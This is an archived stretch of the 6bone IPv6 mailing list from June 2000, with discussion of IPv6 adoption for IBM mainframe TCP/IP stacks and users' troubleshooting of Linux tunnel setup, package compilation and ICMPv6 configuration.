>  Peter.

Peter,

    I am so tempted to wade in on this attach against my credentials, but I 
would like to ask that the 6bone group, please refocus on my original 
question.

    I am trying to determine how effected the VSE Mainframe community would 
be by the indroduction of IP Version 6.  Yes, clearly IBM itself has plans 
for VM and OS/390.  But the VSE community is depending upon Connectivity 
Systems, and I am looking for some serious answers from a group that should 
know.

1. What types of devices will be ipv6 only?  
2. If ipv4 tunnels will exist for some time, then how limiting do you think 
they will grow?
3. What things are you hearing from your users? 
4. Is the issue of ipv6 still just in development labs, or are there real 
world customers asking about this support?
5. When we add support for ipv6 to VSE, how soon will it be a real 
requirement? 1 year, 2 years, more?
6. Those of you that have implemented the new layer, how stable are you 
finding things?
7. I see that Microsoft has provided support for ipv6 in Windows 2000, but 
why haven't they simply included it into the operating system? Are there that 
many issues that are causing changes, or is it that its difficult for end 
users to administer?

These are the types of questions I'm looking for answers about.

Please forgive me for being late in the game.  But that does not mean we are 
not a serious development house, with serious concerns.

John Rankin
Director of Development
Connectivity Systems Inc.
(NOT IBM)

From 6bone-owner  Wed Jun 14 06:16:39 2000
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Date: Wed, 14 Jun 2000 08:15:32 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
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To: Peter Bunclark <psb@ast.cam.ac.uk>
CC: Aaron Angel <aangel@haknich.ugc.net>,
        Latif LADID <Latif.LADID@village.uunet.lu>, 6bone@ISI.EDU
Subject: Re: Question about the future
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At this point, I suggest we close this topic... John is now
talking directly to those of us working on IPv6 questions
inside IBM and that is the best possible outcome.

Input on the market needs for IPv6 is always welcome
of course, but not necessarily on this list.

  Brian

Peter Bunclark wrote:
> 
> On Wed, 14 Jun 2000, Aaron Angel wrote:
> 
> > For the 'record', I'd like to point out he mislead no one.  He stated
> > quite
> > clearly in the first sentect he was a director of delevelopment for one of
> > the TCP/IP stacks for IBM mainframes; he did not say he was directly from
> > IBM.
> >
> > --
> > Aaron Angel <aangel@haknich.ugc.net>
> 
> On the contrary, he mislead many of us by very poor use of language. The
> most misleading part was, he should have asked IBM first before this
> mailing list; the wording implied very strongly, and now we know
> incorrectly, that IBM weren't yet developing IPv6.  And I think we might
> be forgiven for assuming that the `director of development for one of the
> TCP/IP stacks for IBM mainframes' probably did work for IBM.
> 
> Peter.

From 6bone-owner  Wed Jun 14 06:53:31 2000
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From: Dwayne  Cann <dcann@vitausa.com>
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: RE: Question about the future 
Date: Wed, 14 Jun 2000 09:53:58 -0400
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His choice of language was poor. I too believed he worked for IBM, and was
suprised because I knew that IBM supports IPV6 on AIX. His question is valid
though. How long before we see widescale implemetation of IPV6? My isp is
not yet prepared for it.


Dwayne




-----Original Message-----
From: Peter Bunclark [mailto:psb@ast.cam.ac.uk]
Sent: Wednesday, June 14, 2000 5:05 AM
To: Aaron Angel
Cc: Latif LADID; 6bone@ISI.EDU
Subject: Re: Question about the future 




On Wed, 14 Jun 2000, Aaron Angel wrote:

> For the 'record', I'd like to point out he mislead no one.  He stated
> quite
> clearly in the first sentect he was a director of delevelopment for one of
> the TCP/IP stacks for IBM mainframes; he did not say he was directly from
> IBM.
> 
> -- 
> Aaron Angel <aangel@haknich.ugc.net>

On the contrary, he mislead many of us by very poor use of language. The
most misleading part was, he should have asked IBM first before this
mailing list; the wording implied very strongly, and now we know
incorrectly, that IBM weren't yet developing IPv6.  And I think we might
be forgiven for assuming that the `director of development for one of the
TCP/IP stacks for IBM mainframes' probably did work for IBM.

Peter.

From 6bone-owner  Wed Jun 14 07:16:41 2000
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Date: Wed, 14 Jun 2000 22:21:13 +0800 (SGT)
From: Zhang Zhi Shou <zszhang@krdl.org.sg>
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To: 6bone@ISI.EDU
Subject: netkit package
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Hi, 

Following the steps of IPv6 HOWTO, I have compiled the kernel, and
installed net-tools package. It seems ok, one ipv6-in-ipv4 interface
appears in the interface list.

But when I install the nkit-0.4.1, I got some error during the
compilation. The error is:

/usr/bin/ld: cannot open -lncurses : No such file or directory

I also checked the packages installed in my machine, the output of "rpm
-qa | grep ncurses" is:

ncurses-4.2-25

Anybody could help me with this!!

thanks in advance.

zzs


From 6bone-owner  Wed Jun 14 08:43:23 2000
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To: Peter Bunclark <psb@ast.cam.ac.uk>
CC: Aaron Angel <aangel@haknich.ugc.net>,
        Latif LADID <Latif.LADID@village.uunet.lu>, 6bone@ISI.EDU
Subject: Re: Question about the future
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> On the contrary, he mislead many of us by very poor use of language. 

> The
> most misleading part was, he should have asked IBM first before this
> mailing list; the wording implied very strongly, and now we know
> incorrectly, that IBM weren't yet developing IPv6. 

  Hrmmm.. Never forget, "English" is a tricky language, as you seem
to
be learning....

   :)

From 6bone-owner  Wed Jun 14 10:33:34 2000
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Date: Wed, 14 Jun 2000 10:33:05 -0700
To: Dwayne  Cann <dcann@vitausa.com>, "'6bone@ISI.EDU'" <6bone@ISI.EDU>
From: "Derek J. Balling" <dredd@megacity.org>
Subject: RE: Question about the future 
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You see, I totally disagree. I saw the phrase "one of the TCP/IP stacks" 
and instantly said "A-Ha! Competitive market for stacks!"

I don't think there was any "unclear-ness" in his statement at all. Maybe 
some people are just so accustomed to "only one vendor available to support 
your OS" that they forget about competitive portions of the industry. =)

D


At 09:53 AM 6/14/00 -0400, Dwayne  Cann wrote:
>His choice of language was poor. I too believed he worked for IBM, and was
>suprised because I knew that IBM supports IPV6 on AIX. His question is valid
>though. How long before we see widescale implemetation of IPV6? My isp is
>not yet prepared for it.
>
>
>Dwayne
>
>
>
>
>-----Original Message-----
>From: Peter Bunclark [mailto:psb@ast.cam.ac.uk]
>Sent: Wednesday, June 14, 2000 5:05 AM
>To: Aaron Angel
>Cc: Latif LADID; 6bone@ISI.EDU
>Subject: Re: Question about the future
>
>
>
>
>On Wed, 14 Jun 2000, Aaron Angel wrote:
>
> > For the 'record', I'd like to point out he mislead no one.  He stated
> > quite
> > clearly in the first sentect he was a director of delevelopment for one of
> > the TCP/IP stacks for IBM mainframes; he did not say he was directly from
> > IBM.
> >
> > --
> > Aaron Angel <aangel@haknich.ugc.net>
>
>On the contrary, he mislead many of us by very poor use of language. The
>most misleading part was, he should have asked IBM first before this
>mailing list; the wording implied very strongly, and now we know
>incorrectly, that IBM weren't yet developing IPv6.  And I think we might
>be forgiven for assuming that the `director of development for one of the
>TCP/IP stacks for IBM mainframes' probably did work for IBM.
>
>Peter.


From 6bone-owner  Wed Jun 14 10:45:29 2000
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Dwayne Cann wrote:
> 
> His choice of language was poor. I too believed he worked for IBM, and was
> suprised because I knew that IBM supports IPV6 on AIX. His question is valid
> though. How long before we see widescale implemetation of IPV6? My isp is
> not yet prepared for it.
> 
You are more likely to see IPv6 in "widespread" use in new technologies,
ie cellular phone type devices and similar.  It will be several years
before widespread ISP use in the US.  *BSD and Linux are IPv6 capable,
and others, but the consumers are Micro$loth based.  NT4 has an IPv6
addon to tunnel through IPv4, it can't even connect to a IPv6 network.

This is just how I see it happening.

Jim
-- 
"Eagles may soar, but weasels don't get sucked into jet engines"
    -- Anon

From 6bone-owner  Wed Jun 14 11:28:02 2000
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To: "Derek J. Balling" <dredd@megacity.org>
Cc: Dwayne Cann <dcann@vitausa.com>, "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: Re: Question about the future 
In-reply-to: Your message of "Wed, 14 Jun 2000 10:33:05 PDT."
             <4.3.2.7.2.20000614103136.00baed70@mail.megacity.org> 
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can we move on John has cleared up the issue.  we are beating a dead
horse.

p.s. John the place to ask market and readiness questions for IPv6 is on
the IPv6 forum list.  members@ipv6forum.com  or the IPv6 deployment list
deployment@ipv6.org... I will respond to your questions in private when
I can find the time as they are not just off the top of my head
responses and very serious and worthwhile questions.

/jim

From 6bone-owner  Wed Jun 14 14:48:21 2000
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From: Aaron Angel <aangel@haknich.ugc.net>
To: James Housley <jim@thehousleys.net>
cc: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: Re: Question about the future
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> > ... 
> You are more likely to see IPv6 in "widespread" use in new technologies,
> ie cellular phone type devices and similar.  It will be several years
> before widespread ISP use in the US.  *BSD and Linux are IPv6 capable,
> and others, but the consumers are Micro$loth based.  NT4 has an IPv6
> addon to tunnel through IPv4, it can't even connect to a IPv6 network.

There's an IPv6 TCP/IP stack for Windows 9x/NT/2000 also.  If anyone's
tried it (both the MS version for NT/2000 and/or the trumpt version for
9x), let me know what it's like...how stable it is, etc.


From 6bone-owner  Wed Jun 14 16:57:48 2000
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Date: Wed, 14 Jun 2000 19:57:56 -0400 (EDT)
From: Aaron Angel <aangel@haknich.ugc.net>
To: "Derek J. Balling" <dredd@megacity.org>
cc: Dwayne  Cann <dcann@vitausa.com>, "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: RE: Question about the future 
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Exactly.  'one of the TCP/IP stacks for IBM mainframes' != '*the* TCP/IP
stack provided my IBM for mainframes'...that's how I see it.

-- 
Aaron Angel <aangel@haknich.ugc.net>
Voicemail/FAX: +1 (520) 447-2283
UNIX Talk: aangel@haknich.ugc.net

On Wed, 14 Jun 2000, Derek J. Balling wrote:

> You see, I totally disagree. I saw the phrase "one of the TCP/IP stacks" 
> and instantly said "A-Ha! Competitive market for stacks!"
> 
> I don't think there was any "unclear-ness" in his statement at all. Maybe 
> some people are just so accustomed to "only one vendor available to support 
> your OS" that they forget about competitive portions of the industry. =)
> 
> D
> 
> 
> At 09:53 AM 6/14/00 -0400, Dwayne  Cann wrote:
> >His choice of language was poor. I too believed he worked for IBM, and was
> >suprised because I knew that IBM supports IPV6 on AIX. His question is valid
> >though. How long before we see widescale implemetation of IPV6? My isp is
> >not yet prepared for it.
> >
> >
> >Dwayne
> >
> >
> >
> >
> >-----Original Message-----
> >From: Peter Bunclark [mailto:psb@ast.cam.ac.uk]
> >Sent: Wednesday, June 14, 2000 5:05 AM
> >To: Aaron Angel
> >Cc: Latif LADID; 6bone@ISI.EDU
> >Subject: Re: Question about the future
> >
> >
> >
> >
> >On Wed, 14 Jun 2000, Aaron Angel wrote:
> >
> > > For the 'record', I'd like to point out he mislead no one.  He stated
> > > quite
> > > clearly in the first sentect he was a director of delevelopment for one of
> > > the TCP/IP stacks for IBM mainframes; he did not say he was directly from
> > > IBM.
> > >
> > > --
> > > Aaron Angel <aangel@haknich.ugc.net>
> >
> >On the contrary, he mislead many of us by very poor use of language. The
> >most misleading part was, he should have asked IBM first before this
> >mailing list; the wording implied very strongly, and now we know
> >incorrectly, that IBM weren't yet developing IPv6.  And I think we might
> >be forgiven for assuming that the `director of development for one of the
> >TCP/IP stacks for IBM mainframes' probably did work for IBM.
> >
> >Peter.
> 
> 


From 6bone-owner  Thu Jun 15 01:18:42 2000
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Date: Thu, 15 Jun 2000 10:19:09 +0200 (MET DST)
From: Pontus Lidman <pontus@lysator.liu.se>
To: Zhang Zhi Shou <zszhang@krdl.org.sg>
cc: 6bone@ISI.EDU
Subject: Re: netkit package
In-Reply-To: <Pine.GSO.4.02.10006142210001.1399-100000@maclane>
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On Wed, 14 Jun 2000, Zhang Zhi Shou wrote:

> Hi, 
> 
> Following the steps of IPv6 HOWTO, I have compiled the kernel, and
> installed net-tools package. It seems ok, one ipv6-in-ipv4 interface
> appears in the interface list.
> 
> But when I install the nkit-0.4.1, I got some error during the
> compilation. The error is:
> 
> /usr/bin/ld: cannot open -lncurses : No such file or directory
> 
> I also checked the packages installed in my machine, the output of "rpm
> -qa | grep ncurses" is:
> 
> ncurses-4.2-25
> 
> Anybody could help me with this!!

Yes, you need an rpm for the development files of ncurses, probably called
ncurses-dev-x.y.z.rpm. Install it and you will be able to compile.

-- 
Pontus Lidman, pontus@mathcore.com, Software Engineer
No matter how cynical you get, it's impossible to keep up.
Scene: www.dc-s.com | MUD: tyme.envy.com 6969 | irc: irc.quakenet.eu.org


From 6bone-owner  Thu Jun 15 05:44:36 2000
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From: "Marcelo Franca Alves (MFA)" <mfa@mfa.eti.br>
To: "Pontus Lidman" <pontus@lysator.liu.se>,
        "Zhang Zhi Shou" <zszhang@krdl.org.sg>
Cc: <6bone@ISI.EDU>
References: <Pine.GSO.4.00.10006151016020.14132-100000@sandra.lysator.liu.se>
Subject: Re: netkit package
Date: Thu, 15 Jun 2000 09:40:17 -0300
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See if what you want is in iputils.<version>.rpm
http://rpmfind.net/linux/redhat/redhat-6.2/i386/RedHat/RPMS/

If you you have RH 6.2 you already have this when you
install network.
-----
Marcelo Franca Alves (MFA) http://www.mfa.eti.br
São Paulo - SP - Brasil
----- Original Message -----
From: Pontus Lidman <pontus@lysator.liu.se>
To: Zhang Zhi Shou <zszhang@krdl.org.sg>
Cc: <6bone@ISI.EDU>
Sent: Thursday, June 15, 2000 5:19 AM
Subject: Re: netkit package


>
> On Wed, 14 Jun 2000, Zhang Zhi Shou wrote:
>
> > Hi,
> >
> > Following the steps of IPv6 HOWTO, I have compiled the kernel, and
> > installed net-tools package. It seems ok, one ipv6-in-ipv4 interface
> > appears in the interface list.
> >
> > But when I install the nkit-0.4.1, I got some error during the
> > compilation. The error is:
> >
> > /usr/bin/ld: cannot open -lncurses : No such file or directory
> >
> > I also checked the packages installed in my machine, the output of "rpm
> > -qa | grep ncurses" is:
> >
> > ncurses-4.2-25
> >
> > Anybody could help me with this!!
>
> Yes, you need an rpm for the development files of ncurses, probably called
> ncurses-dev-x.y.z.rpm. Install it and you will be able to compile.
>
> --
> Pontus Lidman, pontus@mathcore.com, Software Engineer
> No matter how cynical you get, it's impossible to keep up.
> Scene: www.dc-s.com | MUD: tyme.envy.com 6969 | irc: irc.quakenet.eu.org



From 6bone-owner  Thu Jun 15 05:44:43 2000
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From: "Marcelo Franca Alves (MFA)" <mfa@mfa.eti.br>
To: "Pontus Lidman" <pontus@lysator.liu.se>,
        "Zhang Zhi Shou" <zszhang@krdl.org.sg>
Cc: <6bone@ISI.EDU>
References: <Pine.GSO.4.00.10006151016020.14132-100000@sandra.lysator.liu.se>
Subject: Re: netkit package
Date: Thu, 15 Jun 2000 09:39:14 -0300
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See if what you want is in iputils.<version>.rpm
http://rpmfind.net/linux/redhat/redhat-6.2/i386/RedHat/RPMS/

If you you have RH 6.2 you already have this in network
installation.
-----
Marcelo Franca Alves (MFA) http://www.mfa.eti.br
São Paulo - SP - Brasil
----- Original Message -----
From: Pontus Lidman <pontus@lysator.liu.se>
To: Zhang Zhi Shou <zszhang@krdl.org.sg>
Cc: <6bone@ISI.EDU>
Sent: Thursday, June 15, 2000 5:19 AM
Subject: Re: netkit package


>
> On Wed, 14 Jun 2000, Zhang Zhi Shou wrote:
>
> > Hi,
> >
> > Following the steps of IPv6 HOWTO, I have compiled the kernel, and
> > installed net-tools package. It seems ok, one ipv6-in-ipv4 interface
> > appears in the interface list.
> >
> > But when I install the nkit-0.4.1, I got some error during the
> > compilation. The error is:
> >
> > /usr/bin/ld: cannot open -lncurses : No such file or directory
> >
> > I also checked the packages installed in my machine, the output of "rpm
> > -qa | grep ncurses" is:
> >
> > ncurses-4.2-25
> >
> > Anybody could help me with this!!
>
> Yes, you need an rpm for the development files of ncurses, probably called
> ncurses-dev-x.y.z.rpm. Install it and you will be able to compile.
>
> --
> Pontus Lidman, pontus@mathcore.com, Software Engineer
> No matter how cynical you get, it's impossible to keep up.
> Scene: www.dc-s.com | MUD: tyme.envy.com 6969 | irc: irc.quakenet.eu.org


From 6bone-owner  Thu Jun 15 09:30:35 2000
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From: Matej Sustic <Matej.Sustic@360.net>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: RE: Question about the future 
Date: Thu, 15 Jun 2000 09:34:44 -0700
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No, he mislead nobody. The misunderstanding came from poor READING of his
message (I've misread it as well, but went back and I am willing to admit MY
mistake).

Just my $0.02

-----Original Message-----
From: Peter Bunclark [mailto:psb@ast.cam.ac.uk]
Sent: Wednesday, June 14, 2000 2:05 AM
To: Aaron Angel
Cc: Latif LADID; 6bone@ISI.EDU
Subject: Re: Question about the future 




On Wed, 14 Jun 2000, Aaron Angel wrote:

> For the 'record', I'd like to point out he mislead no one.  He stated
> quite
> clearly in the first sentect he was a director of delevelopment for one of
> the TCP/IP stacks for IBM mainframes; he did not say he was directly from
> IBM.
> 
> -- 
> Aaron Angel <aangel@haknich.ugc.net>

On the contrary, he mislead many of us by very poor use of language. The
most misleading part was, he should have asked IBM first before this
mailing list; the wording implied very strongly, and now we know
incorrectly, that IBM weren't yet developing IPv6.  And I think we might
be forgiven for assuming that the `director of development for one of the
TCP/IP stacks for IBM mainframes' probably did work for IBM.

Peter.

From 6bone-owner  Thu Jun 15 19:46:14 2000
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From: Jim Bound <bound@zk3.dec.com>
Message-Id: <200006160246.WAA0000826327@anw.zk3.dec.com>
To: JohnRankin@aol.com
Cc: psb@ast.cam.ac.uk, 6bone@ISI.EDU
Subject: Re: Question about the future 
In-reply-to: Your message of "Wed, 14 Jun 2000 09:09:49 EDT."
             <ba.6c1a93e.2678de1d@aol.com> 
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John,

Several folks sent mail they would like to see my answer in public so
here it is.

>1. What types of devices will be ipv6 only?  

Most likely only Internet Appliances for the short to medium term.

>2. If ipv4 tunnels will exist for some time, then how limiting do you think 
>they will grow?

The only two limitations I can see (other than the use of tunnels like
any technology or VPN):

1.  IPv4 Tunnel Enpoints accross the IPv4 Internet require global IPv4
    addresses and I don't see that as a problem if one uses 6to4
    correctly, as one example.

2.  We have not seen yet to my knowledge an extended use of recursive 
    tunnels and what the real limitation is when packets move over IPv4
    IPv6 and then IPv4 etc etc etc.  Its the ICMP issues really.
    But I don't think this will be that necessary as the norm.

>3. What things are you hearing from your users? 

All I can say is they say "do IPv6 so we are ready for worst case
scenario and so we can started now understanding IPv6 and how to 
deploy it".

>4. Is the issue of ipv6 still just in development labs, or are there real 
>world customers asking about this support?

We have real world customers and most of us vendors are shipping
products now, I predict all will be by 2001.  Note IBM shipped the first
product for IPv6.

>5. When we add support for ipv6 to VSE, how soon will it be a real 
>requirement? 1 year, 2 years, more?

Sorry been about 19 years since I hacked on SNA, VTAM, MVS, VM370, et
al I can't answer your question.  I can point you to an industry you can
check out and may have contacts at where IP with this environment is
very prominent Auto Industry in Detroit and also those Research
Scientists (GM, Ford, Chrysler, et al).

>6. Those of you that have implemented the new layer, how stable are you 
>finding things?

High degree of confidence and performance maintained which was a lot of
the effort from a "product" perspective.

>7. I see that Microsoft has provided support for ipv6 in Windows 2000, but 
>why haven't they simply included it into the operating system? Are there that 
>many issues that are causing changes, or is it that its difficult for end 
>users to administer?

I will let our Microsoft colleagues answer that on this list if they so
desire.

>These are the types of questions I'm looking for answers about.

There is a very key point to IPv6 development and the business and
marketing strategy.  Do not think IPv6 Migration and Transition, think
IPv6/IPv4 "product" Integration and Coexistence. Or from a business
perspective IPv6 does not replace IPv4 but extends its capabilities and
evolves IP in general.

>.Please forgive me for being late in the game.  But that does not mean we are 
>.not a serious development house, with serious concerns.

Nothing to forgive.  But you are behind if you are just starting many of
the vendors on this list have been at this for 6 years as early
implementors.

regards,
/jim

From 6bone-owner  Thu Jun 15 21:12:38 2000
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Date: Tue, 13 Jun 2000 14:52:48 +0100
Subject: Re: Question about the future
To: Peter Bunclark <psb@ast.cam.ac.uk>
Cc: JohnRankin@aol.com, 6bone@ISI.EDU
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Memo from Hasan Ali of PricewaterhouseCoopers

-------------------- Start of message text --------------------

No, but IBM mainframes have been around for  a very long time - many as you know
- still in production and (like e.g. OpenVMS systems) there are some on the
(public) Internet.  Be worthwhile for them to have an IPV6 stack available...

...Although how long has IPV4 been available for IBM mainframes?  Six years?
SNA  gateways - needed until fairly recently I seem to recall..  (Do you
remember them - huge damn cables connected directly to the IBM boxes...)

The number of relieved mainframes guys - "look you don't need to retire us - we
can talk to the rest of the network, honest!!"

Do you know how many of these things are still out there?!  Also how many in
active production (the back end of all sorts of web sites...)

(Might throw in a line about how robust this "legacy" technology is...  But will
assume that's known...)

Regards,

Hasan





Peter Bunclark <psb@ast.cam.ac.uk> on 13/06/2000 09:12:24
To:   JohnRankin@aol.com
cc:   6bone@ISI.EDU


Subject:  Re: Question about the future



Are you expecting IBM Mainframes to be able to communicate to the billions
of next-generation phones, TVs, refrigeraters etc etc that can't possibly
fit into IPv4 address space and which will need IPv6's QOS, encryption,
flow control and so on?

Pete.

On Mon, 12 Jun 2000 JohnRankin@aol.com wrote:

> Hello everyone,
>
>     I am the director of development for one of the IBM Mainframe TCP/IP
> stacks.  Up to this point we have not implemented IP version 6, and none of
> our customers have even asked us for this support.  I guess, I'm wondering if
> this support will still be necessary.  So I thought I would solicit opinions.
>
> John Rankin
>



--------------------- End of message text --------------------

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partners' names are available for inspection. All partners in the associate
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PricewaterhouseCoopers is a member of the world-wide
PricewaterhouseCoopers organisation.
----------------------------------------------------------------
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From 6bone-owner  Thu Jun 15 21:40:57 2000
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Date: Thu, 15 Jun 2000 21:34:11 -0700
To: Jim Bound <bound@zk3.dec.com>
From: Steve Deering <deering@cisco.com>
Subject: Re: Question about the future
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At 10:46 PM -0400 6/15/00, Jim Bound wrote:
>Note IBM shipped the first product for IPv6.

Actually, I think Telebit in Denmark has that honour.

Steve


From 6bone-owner  Thu Jun 15 21:54:13 2000
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Subject: Re: Question about the future 
In-reply-to: Your message of "Thu, 15 Jun 2000 21:34:11 PDT."
             <v04220800b56f5e6ea9fb@[171.70.84.50]> 
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>At 10:46 PM -0400 6/15/00, Jim Bound wrote:
>>Note IBM shipped the first product for IPv6.
>
>Actually, I think Telebit in Denmark has that honour.

yes that is true.  I was showing my UNIX bias :---)....

thanks
/jim

From 6bone-owner  Sat Jun 17 10:46:03 2000
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Subject: Re: User ipv6 addresses/tunnels
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Hi!

> >How do I go about finding a place to support a 'user' connection to the
> >6bone?  Every place I've tried so far have said they only provide
> 
> Try the tunnel server at <http://www.freenet6.net/>

They don't provide static ipv6 adresses. So where i could get a static
adress/range?

cu.


From 6bone-owner  Mon Jun 19 03:14:14 2000
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Message-ID: <002901bfd9d7$48ffe870$2865f7c2@borg>
Reply-To: "Jan H. van Gils" <janvg@knoware.nl>
From: "Jan H. van Gils" <janvg@knoware.nl>
To: "6Bone" <6bone@ISI.EDU>
Subject: Question about ICMP6 versus ICMPv6
Date: Mon, 19 Jun 2000 12:15:24 +0200
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    Hi,

Thanks for reading.

I am trying to connect to the 6bone with a Linux distribution.
I have the following problem.

I compiled the inet6-apps-0.36 and the net-tools-1.54 now I have the
following problem.

- ping -a inet6 <host>
    ping: icmp6: unknown protocol
    ping: <host> no IP version 4 or 6 addresses available.

Here is my rc.inet6 script :

---- begin script ----
#!/bin/bash
#

exec >/dev/console
exec </dev/console
exec 2>/dev/console
PATH=/usr/inet6/bin:/usr/inet6/sbin:/usr/local/bin:/usr/local/etc:/usr/bin:/
bin:
/etc; export PATH

# Load IPv6 module
modprobe ipv6

# Your IPv6 prefix
# Full Prefix 3FFE:2500:0304::/48
PREFIX=3FFE:2500:0304
# The host-part of the IPv6 address for this machine
ADDRESS=1
# The IPv4 address of the far side of your tunnel
TUNNEL=212.136.33.34

echo 0 > /proc/sys/net/ipv6/conf/all/autoconf
echo 0 > /proc/sys/net/ipv6/conf/all/accept_ra
echo 0 > /proc/sys/net/ipv6/conf/all/accept_redirects
echo 1 > /proc/sys/net/ipv6/conf/all/forwarding
echo 0 > /proc/sys/net/ipv6/conf/all/router_solicitations

/sbin/ifconfig eth0 add $PREFIX::$ADDRESS/64
/sbin/route -A inet6 add $PREFIX::0/64 dev eth0

/sbin/ifconfig sit0 up tunnel ::$TUNNEL
/sbin/ifconfig sit1 up
/sbin/route -A inet6 add 3ffe::0/15 gw fe80::$TUNNEL dev sit1

/usr/inet6/sbin/radvd &

---- end script ----

man icmp6
No manual entry for icmp6

man icmpv6
That works ok.

So I am wondering what should the icmp version be : icmp6 or icmpv6 ?

Is this a "bug" and is there patch our am I using the wrong combination of
inet6-apps
and net-tools.

Any help would be welcome

Jan


----
With regards Jan H. van Gils
Breda, Netherlands
Internet e-mail address janvg@knoware.nl
Internet web-page http://www.knoware.nl/users/janvg/





From 6bone-owner  Mon Jun 19 08:12:39 2000
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From: Martin Steldinger <tribble@gedankenpolizei.de>
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To: Christian Schild <schild@uni-muenster.de>
cc: 6bone@ISI.EDU
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Hi!

> > They don't provide static ipv6 adresses. So where i could get a static
> > adress/range?

> Your email address indicates a german host. In germany JOIN is the main 
> tunnel server for the 6bone, so just contact the JOIN team (email below)
> and we will see what we can do :)

Hmm... naja, der Host steht schon in USA, genauer gesagt in San
Francisco, insofern vielleicht doch ein etwas langer Weg.. es hat sich
noch einer gemeldet, der ist nur 120ms/20hops entfernt, insofern werd ich
eher den Menschen ansprechen .. aber danke :)

cu.

  -- 
def. Firewall: Keine Ahnung, ist mir aber auch Wurst. Ich installiere da halt
einen Router mit Paketfilter fuer eingehende TCP-Verbindungen und gehe dann
weg.  Wenn es dann jemand Firewall oder Wuerstchenbude nennt, ist das nicht
mein Problem. (Hans, congress-ml)


From 6bone-owner  Mon Jun 19 09:45:21 2000
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Date: Mon, 19 Jun 2000 18:47:12 +0200 (CEST)
From: atanas argirov <aa@pure.boza.org>
To: "Jan H. van Gils" <janvg@knoware.nl>
cc: 6Bone <6bone@ISI.EDU>
Subject: Re: Question about ICMP6 versus ICMPv6
In-Reply-To: <002901bfd9d7$48ffe870$2865f7c2@borg>
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On Mon, 19 Jun 2000, Jan H. van Gils wrote:

[...]

> following problem.
> 
> - ping -a inet6 <host>
>     ping: icmp6: unknown protocol
>     ping: <host> no IP version 4 or 6 addresses available.
> 

Dear Jan,


ipv6       41   IPV6
ipv6-route 43   IPv6-Route
ipv6-frag  44   IPv6-Frag
ipv6-crypt 50   IPv6-Crypt
ipv6-auth  51   IPv6-Auth
ipv6-icmp  58   IPv6-ICMP
ipv6-nonxt 59   IPv6-NoNxt
ipv6-opts  60   IPv6-Opts

Do you have these entries in your /etc/protocols?

Cheers,
atanas argirov



From 6bone-owner  Tue Jun 20 07:39:34 2000
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From: "Gils van, Jan" <jang@sps.nl>
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: Compiling IPv6 related software with Linux, help wanted
Date: Tue, 20 Jun 2000 16:40:11 +0200
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	Hi,

Thanks for reading.

At the moment I am trying to compile some IPv6 related tools
with Linux as Operating System.

Linux Kernel I am using is 2.2.14 (The generic kernel from
						Caldera OpenSystems eServer
2.3)

The tunnel is working great via www.freenet6.net, a ping is no problem.

But now some additional software

for example 
	libpcap-0.4a6+ipv6-1 compiled ok
	tcpdump-3.4a6+ipv6-1 did not compile (header and include
problems)
	traceroute-1.4a5+ipv6-1 did not compile (header and include
								problems)

Is there anybody with the same problem and can give me hint on
how to move on

With regards Jan H. van Gils
 

From 6bone-owner  Tue Jun 20 08:22:19 2000
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Date: Tue, 20 Jun 2000 17:22:57 +0100
From: "Tilborg, E.B.M. van" <E.B.M.vanTilborg@kpn.com>
Subject: Tunnel broker
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
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Hello,

I have a question regarding the tunnelbroker software of CSELT. I have some
problems with the installation. It seems that data that I insert via the
AdminTB.pl is not entered in the database. I also cannot configure what OS I
am using. Are there more people that have had this problem (or other
problems regarding the installation)? Help or advice is very welcome.

Thanks in advance!


Regards,

Edith van Tilborg

-------------------------------------------------------

KPN Research
Department Middleware Internet Technologies
Room LE 128
Postbus 421, 2260 AK Leidschendam
The Netherlands

tel.: (31)70 - 3323727
fax.: (31)70 -3326477



From 6bone-owner  Tue Jun 20 08:44:54 2000
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Date: Tue, 20 Jun 2000 23:49:26 +0800 (SGT)
From: Zhang Zhi Shou <zszhang@krdl.org.sg>
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Hi, 

Now I would like to setup a software router (linux) that can support both
IPv4 and IPv6 routing. Can you give me some information or URL to me?

Thanks
zhishou


From 6bone-owner  Thu Jun 22 23:14:46 2000
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To: zszhang@krdl.org.sg, 6bone@ISI.EDU
Subject: RE: setup ipv6 router
Date: Fri, 23 Jun 2000 08:13:59 +0200
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> -----Original Message-----
> From: Zhang Zhi Shou [mailto:zszhang@krdl.org.sg]
> Subject: setup ipv6 router
> 
> Now I would like to setup a software router (linux) that can 
> support both
> IPv4 and IPv6 routing. Can you give me some information or URL to me?

http://www.zebra.org

Kind regards,

Stefan Gasteiger
SG5599-RIPE
I+K Betrieb (zertifiziert nach DIN EN ISO 9001)
InfraServ Gendorf		
Tel.: +49 8679 7 5599	
Fax: +49 8679 7 39 5599
Mobiltel.: +49 172 8649205
E-Mail: Stefan.Gasteiger@gendorf.de 

From 6bone-owner  Mon Jun 26 11:33:32 2000
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From: Richard Draves <richdr@microsoft.com>
To: sunym <sunym@NJUST0.njust.edu.cn>
Cc: 6BONE@ISI.EDU
Subject: RE: A TYRO'S CONFIGURATION INFORMATION
Date: Mon, 26 Jun 2000 11:32:54 -0700
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This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFDF9C.F15A9180
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Well, everything looks OK in your configuration. I'm sorry to say that I
don't have a good idea why "ping 131.107.65.121" works well but "ping6
::131.107.65.121" is unreliable. My only guess is that something in your
network (maybe the firewall?) is handling encapsulated IPv6 packets in a
slow path and so they get a higher drop rate.
 
Rich

-----Original Message-----
From: sunym [mailto:sunym@NJUST0.njust.edu.cn]
Sent: Sunday, June 25, 2000 8:03 PM
To: Richard Draves
Cc: 6BONE@ISI.EDU
Subject: A TYRO'S CONFIGURATION INFORMATION



Please open the attachment,thank you!
 
 
 
 
----- Original Message ----- 

From: Richard  <mailto:richdr@microsoft.com> Draves 
To: 'sunym' <mailto:sunym@NJUST0.njust.edu.cn>  
Cc: Brian Zill <mailto:bzill@microsoft.com>  
Sent: Tuesday, June 06, 2000 10:06 PM
Subject: RE: A TYRO'S QUESTION

Let me clarify this. If you run
    ping 131.107.65.121
then it works great.
But if you try
    ping6 ::131.107.65.121
then you get some replies but most pings time out?
 
